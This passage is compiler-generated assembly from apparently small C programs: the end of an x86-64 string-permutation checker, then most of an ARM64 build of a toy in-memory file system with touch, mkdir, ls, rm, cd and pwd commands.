movq -120(%rbp), %rax ## 8-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB2_13:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
leaq L_.str.2(%rip), %rax
movq %rax, -8(%rbp)
leaq L_.str.3(%rip), %rax
movq %rax, -16(%rbp)
leaq L_.str.4(%rip), %rax
movq %rax, -24(%rbp)
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq %rax, -72(%rbp) ## 8-byte Spill
movq -16(%rbp), %rax
movq %rax, -64(%rbp) ## 8-byte Spill
movq -8(%rbp), %rdi
movq -16(%rbp), %rsi
callq _permuationDicitonary
movq -72(%rbp), %rsi ## 8-byte Reload
movq -64(%rbp), %rdx ## 8-byte Reload
movq %rax, %rcx
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq %rax, -56(%rbp) ## 8-byte Spill
movq -24(%rbp), %rax
movq %rax, -48(%rbp) ## 8-byte Spill
movq -8(%rbp), %rdi
movq -24(%rbp), %rsi
callq _permuationDicitonary
movq -56(%rbp), %rsi ## 8-byte Reload
movq -48(%rbp), %rdx ## 8-byte Reload
movq %rax, %rcx
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rax
movq %rax, -40(%rbp) ## 8-byte Spill
movq -24(%rbp), %rax
movq %rax, -32(%rbp) ## 8-byte Spill
movq -16(%rbp), %rdi
movq -24(%rbp), %rsi
callq _permuationDicitonary
movq -40(%rbp), %rsi ## 8-byte Reload
movq -32(%rbp), %rdx ## 8-byte Reload
movq %rax, %rcx
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "false"
L_.str.1: ## @.str.1
.asciz "true"
L_.str.2: ## @.str.2
.asciz "The eyes"
L_.str.3: ## @.str.3
.asciz "They see"
L_.str.4: ## @.str.4
.asciz "dac"
L_.str.5: ## @.str.5
.asciz "Permutation dictionary method:\n"
L_.str.6: ## @.str.6
.asciz "%s matches %s: %s\n"
.subsections_via_symbols
| the_stack_data/651490.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _init_dir ; -- Begin function init_dir
.p2align 2
_init_dir: ; @init_dir
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str x2, [sp, #8]
mov x0, #40
bl _malloc
ldur x8, [x29, #-8]
str x0, [x8]
ldr x0, [sp, #16]
bl _strlen
add x0, x0, #1
bl _malloc
ldur x8, [x29, #-8]
ldr x8, [x8]
str x0, [x8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x0, [x8]
ldr x1, [sp, #16]
mov x2, #-1
bl ___strcpy_chk
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #8]
ldur x8, [x29, #-8]
ldr x8, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #24]
ldur x8, [x29, #-8]
ldr x8, [x8]
str xzr, [x8, #16]
ldur x8, [x29, #-8]
ldr x8, [x8]
str xzr, [x8, #32]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _init_file ; -- Begin function init_file
.p2align 2
_init_file: ; @init_file
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str x2, [sp, #8]
mov x0, #24
bl _malloc
ldur x8, [x29, #-8]
str x0, [x8]
ldur x8, [x29, #-8]
ldr x8, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #16]
ldr x0, [sp, #16]
bl _strlen
add x0, x0, #1
bl _malloc
ldur x8, [x29, #-8]
ldr x8, [x8]
str x0, [x8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x0, [x8]
ldr x1, [sp, #16]
mov x2, #-1
bl ___strcpy_chk
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _free_director ; -- Begin function free_director
.p2align 2
_free_director: ; @free_director
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x0, [x8]
bl _free
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB2_3
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
str x8, [sp, #8]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #16]
ldr x8, [sp, #8]
ldr x0, [x8]
bl _free
ldr x0, [sp, #8]
bl _free
b LBB2_1
LBB2_3:
b LBB2_4
LBB2_4: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_4 Depth=1
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
add x0, sp, #16
str x8, [sp, #16]
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
ldr x8, [x8, #32]
ldur x9, [x29, #-8]
ldr x9, [x9]
str x8, [x9, #24]
bl _free_director
ldr x0, [sp, #16]
bl _free
b LBB2_4
LBB2_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _add_file_in_dir ; -- Begin function add_file_in_dir
.p2align 2
_add_file_in_dir: ; @add_file_in_dir
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str x1, [sp, #16]
ldr x8, [sp, #24]
ldr x8, [x8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_2
b LBB3_1
LBB3_1:
ldr x8, [sp, #16]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2:
b LBB3_9
LBB3_3:
ldr x8, [sp, #24]
ldr x8, [x8]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB3_5
b LBB3_4
LBB3_4:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x9, [sp, #24]
ldr x9, [x9]
str x8, [x9, #16]
b LBB3_9
LBB3_5:
ldr x8, [sp, #24]
ldr x8, [x8]
ldr x8, [x8, #16]
str x8, [sp, #8]
b LBB3_6
LBB3_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_8
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #16]
str x8, [sp, #8]
b LBB3_6
LBB3_8:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x9, [sp, #8]
str x8, [x9, #16]
b LBB3_9
LBB3_9:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _add_dir_in_dir ; -- Begin function add_dir_in_dir
.p2align 2
_add_dir_in_dir: ; @add_dir_in_dir
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str x1, [sp, #16]
ldr x8, [sp, #24]
ldr x8, [x8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
ldr x8, [sp, #16]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB4_3
b LBB4_2
LBB4_2:
b LBB4_9
LBB4_3:
ldr x8, [sp, #24]
ldr x8, [x8]
ldr x8, [x8, #24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB4_5
b LBB4_4
LBB4_4:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x9, [sp, #24]
ldr x9, [x9]
str x8, [x9, #24]
b LBB4_9
LBB4_5:
ldr x8, [sp, #24]
ldr x8, [x8]
ldr x8, [x8, #24]
str x8, [sp, #8]
b LBB4_6
LBB4_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB4_8
b LBB4_7
LBB4_7: ; in Loop: Header=BB4_6 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #32]
str x8, [sp, #8]
b LBB4_6
LBB4_8:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x9, [sp, #8]
str x8, [x9, #32]
b LBB4_9
LBB4_9:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _touch ; -- Begin function touch
.p2align 2
_touch: ; @touch
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
stur x8, [x29, #-24]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
stur x8, [x29, #-32]
mov w8, #1
stur w8, [x29, #-36]
b LBB5_1
LBB5_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB5_5
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-24]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB5_4
b LBB5_3
LBB5_3: ; in Loop: Header=BB5_1 Depth=1
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
stur wzr, [x29, #-36]
b LBB5_4
LBB5_4: ; in Loop: Header=BB5_1 Depth=1
ldur x8, [x29, #-24]
ldr x8, [x8, #32]
stur x8, [x29, #-24]
b LBB5_1
LBB5_5:
b LBB5_6
LBB5_6: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-32]
subs x8, x8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #28] ; 4-byte Folded Spill
tbnz w8, #0, LBB5_8
b LBB5_7
LBB5_7: ; in Loop: Header=BB5_6 Depth=1
ldur w8, [x29, #-36]
subs w8, w8, #1
cset w8, eq
str w8, [sp, #28] ; 4-byte Folded Spill
b LBB5_8
LBB5_8: ; in Loop: Header=BB5_6 Depth=1
ldr w8, [sp, #28] ; 4-byte Folded Reload
tbz w8, #0, LBB5_12
b LBB5_9
LBB5_9: ; in Loop: Header=BB5_6 Depth=1
ldur x8, [x29, #-32]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB5_11
b LBB5_10
LBB5_10: ; in Loop: Header=BB5_6 Depth=1
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
stur wzr, [x29, #-36]
b LBB5_11
LBB5_11: ; in Loop: Header=BB5_6 Depth=1
ldur x8, [x29, #-32]
ldr x8, [x8, #16]
stur x8, [x29, #-32]
b LBB5_6
LBB5_12:
ldur w8, [x29, #-36]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB5_14
b LBB5_13
LBB5_13:
ldur x1, [x29, #-16]
sub x8, x29, #8
str x8, [sp, #8] ; 8-byte Folded Spill
ldur x2, [x29, #-8]
add x0, sp, #32
str x0, [sp, #16] ; 8-byte Folded Spill
bl _init_file
ldr x0, [sp, #8] ; 8-byte Folded Reload
ldr x1, [sp, #16] ; 8-byte Folded Reload
bl _add_file_in_dir
b LBB5_14
LBB5_14:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _mkdir ; -- Begin function mkdir
.p2align 2
_mkdir: ; @mkdir
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
stur x8, [x29, #-24]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
stur x8, [x29, #-32]
mov w8, #1
stur w8, [x29, #-36]
b LBB6_1
LBB6_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB6_5
b LBB6_2
LBB6_2: ; in Loop: Header=BB6_1 Depth=1
ldur x8, [x29, #-32]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB6_4
b LBB6_3
LBB6_3: ; in Loop: Header=BB6_1 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
stur wzr, [x29, #-36]
b LBB6_4
LBB6_4: ; in Loop: Header=BB6_1 Depth=1
ldur x8, [x29, #-32]
ldr x8, [x8, #16]
stur x8, [x29, #-32]
b LBB6_1
LBB6_5:
b LBB6_6
LBB6_6: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #28] ; 4-byte Folded Spill
tbnz w8, #0, LBB6_8
b LBB6_7
LBB6_7: ; in Loop: Header=BB6_6 Depth=1
ldur w8, [x29, #-36]
subs w8, w8, #1
cset w8, eq
str w8, [sp, #28] ; 4-byte Folded Spill
b LBB6_8
LBB6_8: ; in Loop: Header=BB6_6 Depth=1
ldr w8, [sp, #28] ; 4-byte Folded Reload
tbz w8, #0, LBB6_12
b LBB6_9
LBB6_9: ; in Loop: Header=BB6_6 Depth=1
ldur x8, [x29, #-24]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB6_11
b LBB6_10
LBB6_10: ; in Loop: Header=BB6_6 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
stur wzr, [x29, #-36]
b LBB6_11
LBB6_11: ; in Loop: Header=BB6_6 Depth=1
ldur x8, [x29, #-24]
ldr x8, [x8, #32]
stur x8, [x29, #-24]
b LBB6_6
LBB6_12:
ldur w8, [x29, #-36]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB6_14
b LBB6_13
LBB6_13:
ldur x1, [x29, #-16]
sub x8, x29, #8
str x8, [sp, #8] ; 8-byte Folded Spill
ldur x2, [x29, #-8]
add x0, sp, #32
str x0, [sp, #16] ; 8-byte Folded Spill
bl _init_dir
ldr x0, [sp, #8] ; 8-byte Folded Reload
ldr x1, [sp, #16] ; 8-byte Folded Reload
bl _add_dir_in_dir
b LBB6_14
LBB6_14:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _ls ; -- Begin function ls
.p2align 2
_ls: ; @ls
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
str x8, [sp, #16]
b LBB7_1
LBB7_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB7_3
b LBB7_2
LBB7_2: ; in Loop: Header=BB7_1 Depth=1
ldr x8, [sp, #16]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x8, [sp, #16]
ldr x8, [x8, #32]
str x8, [sp, #16]
b LBB7_1
LBB7_3:
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
str x8, [sp, #8]
b LBB7_4
LBB7_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB7_6
b LBB7_5
LBB7_5: ; in Loop: Header=BB7_4 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x8, [sp, #8]
ldr x8, [x8, #16]
str x8, [sp, #8]
b LBB7_4
LBB7_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _rm ; -- Begin function rm
.p2align 2
_rm: ; @rm
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
str x8, [sp, #24]
str wzr, [sp, #20]
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB8_2
b LBB8_1
LBB8_1:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB8_14
LBB8_2:
ldr x8, [sp, #24]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB8_4
b LBB8_3
LBB8_3:
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
ldur x9, [x29, #-8]
str x8, [x9, #16]
ldr x8, [sp, #24]
ldr x0, [x8]
bl _free
ldr x0, [sp, #24]
bl _free
b LBB8_14
LBB8_4:
b LBB8_5
LBB8_5: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB8_12
b LBB8_6
LBB8_6: ; in Loop: Header=BB8_5 Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #16]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB8_11
b LBB8_7
LBB8_7: ; in Loop: Header=BB8_5 Depth=1
mov w8, #1
str w8, [sp, #20]
ldr x8, [sp, #24]
ldr x8, [x8, #16]
str x8, [sp, #8]
ldr x8, [sp, #24]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB8_9
b LBB8_8
LBB8_8: ; in Loop: Header=BB8_5 Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #16]
ldr x8, [x8, #16]
ldr x9, [sp, #24]
str x8, [x9, #16]
ldr x8, [sp, #8]
ldr x0, [x8]
bl _free
ldr x0, [sp, #8]
bl _free
b LBB8_10
LBB8_9:
ldr x8, [sp, #24]
ldr x8, [x8, #16]
ldr x0, [x8]
bl _free
ldr x8, [sp, #24]
ldr x0, [x8, #16]
bl _free
ldr x8, [sp, #24]
; kill: def $x9 killed $xzr
str xzr, [x8, #16]
b LBB8_12
LBB8_10: ; in Loop: Header=BB8_5 Depth=1
b LBB8_11
LBB8_11: ; in Loop: Header=BB8_5 Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #16]
str x8, [sp, #24]
b LBB8_5
LBB8_12:
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB8_14
b LBB8_13
LBB8_13:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB8_14
LBB8_14:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _rm_dir_files ; -- Begin function rm_dir_files
.p2align 2
_rm_dir_files: ; @rm_dir_files
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
str x8, [sp, #16]
b LBB9_1
LBB9_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB9_3
b LBB9_2
LBB9_2: ; in Loop: Header=BB9_1 Depth=1
ldur x0, [x29, #-8]
ldr x8, [sp, #16]
ldr x1, [x8]
bl _rm
ldur x8, [x29, #-8]
ldr x8, [x8, #16]
str x8, [sp, #16]
b LBB9_1
LBB9_3:
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
str x8, [sp, #8]
b LBB9_4
LBB9_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB9_6
b LBB9_5
LBB9_5: ; in Loop: Header=BB9_4 Depth=1
ldur x0, [x29, #-8]
ldr x8, [sp, #8]
ldr x1, [x8]
bl _rmdir
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
str x8, [sp, #8]
b LBB9_4
LBB9_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _rmdir ; -- Begin function rmdir
.p2align 2
_rmdir: ; @rmdir
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
str x8, [sp, #24]
str wzr, [sp, #20]
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB10_2
b LBB10_1
LBB10_1:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB10_14
LBB10_2:
ldr x8, [sp, #24]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB10_4
b LBB10_3
LBB10_3:
ldur x8, [x29, #-8]
ldr x8, [x8, #24]
ldr x8, [x8, #32]
ldur x9, [x29, #-8]
str x8, [x9, #24]
ldr x0, [sp, #24]
bl _rm_dir_files
ldr x8, [sp, #24]
ldr x0, [x8]
bl _free
ldr x0, [sp, #24]
bl _free
b LBB10_14
LBB10_4:
b LBB10_5
LBB10_5: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB10_12
b LBB10_6
LBB10_6: ; in Loop: Header=BB10_5 Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #32]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB10_11
b LBB10_7
LBB10_7: ; in Loop: Header=BB10_5 Depth=1
mov w8, #1
str w8, [sp, #20]
ldr x8, [sp, #24]
ldr x8, [x8, #32]
str x8, [sp, #8]
ldr x8, [sp, #24]
ldr x8, [x8, #32]
ldr x8, [x8, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB10_9
b LBB10_8
LBB10_8: ; in Loop: Header=BB10_5 Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #32]
ldr x8, [x8, #32]
ldr x9, [sp, #24]
str x8, [x9, #32]
ldr x8, [sp, #8]
ldr x0, [x8]
bl _free
ldr x0, [sp, #8]
bl _free
b LBB10_10
LBB10_9:
ldr x8, [sp, #24]
ldr x8, [x8, #32]
ldr x0, [x8]
bl _free
ldr x8, [sp, #24]
ldr x0, [x8, #32]
bl _rm_dir_files
ldr x8, [sp, #24]
ldr x0, [x8, #32]
bl _free
ldr x8, [sp, #24]
; kill: def $x9 killed $xzr
str xzr, [x8, #32]
b LBB10_12
LBB10_10: ; in Loop: Header=BB10_5 Depth=1
b LBB10_11
LBB10_11: ; in Loop: Header=BB10_5 Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #32]
str x8, [sp, #24]
b LBB10_5
LBB10_12:
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB10_14
b LBB10_13
LBB10_13:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB10_14
LBB10_14:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _cd ; -- Begin function cd
.p2align 2
_cd: ; @cd
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur wzr, [x29, #-20]
ldur x0, [x29, #-16]
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB11_4
b LBB11_1
LBB11_1:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB11_3
b LBB11_2
LBB11_2:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #8]
ldur x9, [x29, #-8]
str x8, [x9]
b LBB11_3
LBB11_3:
b LBB11_11
LBB11_4:
ldur x8, [x29, #-8]
ldr x8, [x8]
ldr x8, [x8, #24]
str x8, [sp, #16]
b LBB11_5
LBB11_5: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB11_9
b LBB11_6
LBB11_6: ; in Loop: Header=BB11_5 Depth=1
ldr x8, [sp, #16]
ldr x0, [x8]
ldur x1, [x29, #-16]
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB11_8
b LBB11_7
LBB11_7: ; in Loop: Header=BB11_5 Depth=1
ldr x8, [sp, #16]
ldur x9, [x29, #-8]
str x8, [x9]
mov w8, #1
stur w8, [x29, #-20]
b LBB11_8
LBB11_8: ; in Loop: Header=BB11_5 Depth=1
ldr x8, [sp, #16]
ldr x8, [x8, #32]
str x8, [sp, #16]
b LBB11_5
LBB11_9:
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB11_11
b LBB11_10
LBB11_10:
mov x9, sp
adrp x8, l_.str.6@PAGE
add x8, x8, l_.str.6@PAGEOFF
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB11_11
LBB11_11:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _pwd ; -- Begin function pwd
.p2align 2
_pwd: ; @pwd
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov x0, #800
str x0, [sp, #16] ; 8-byte Folded Spill
bl _malloc
mov x8, x0
ldr x0, [sp, #16] ; 8-byte Folded Reload
stur x8, [x29, #-16]
bl _malloc
stur x0, [x29, #-24]
str wzr, [sp, #32]
stur wzr, [x29, #-28]
b LBB12_1
LBB12_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB12_4
b LBB12_2
LBB12_2: ; in Loop: Header=BB12_1 Depth=1
b LBB12_3
LBB12_3: ; in Loop: Header=BB12_1 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB12_1
LBB12_4:
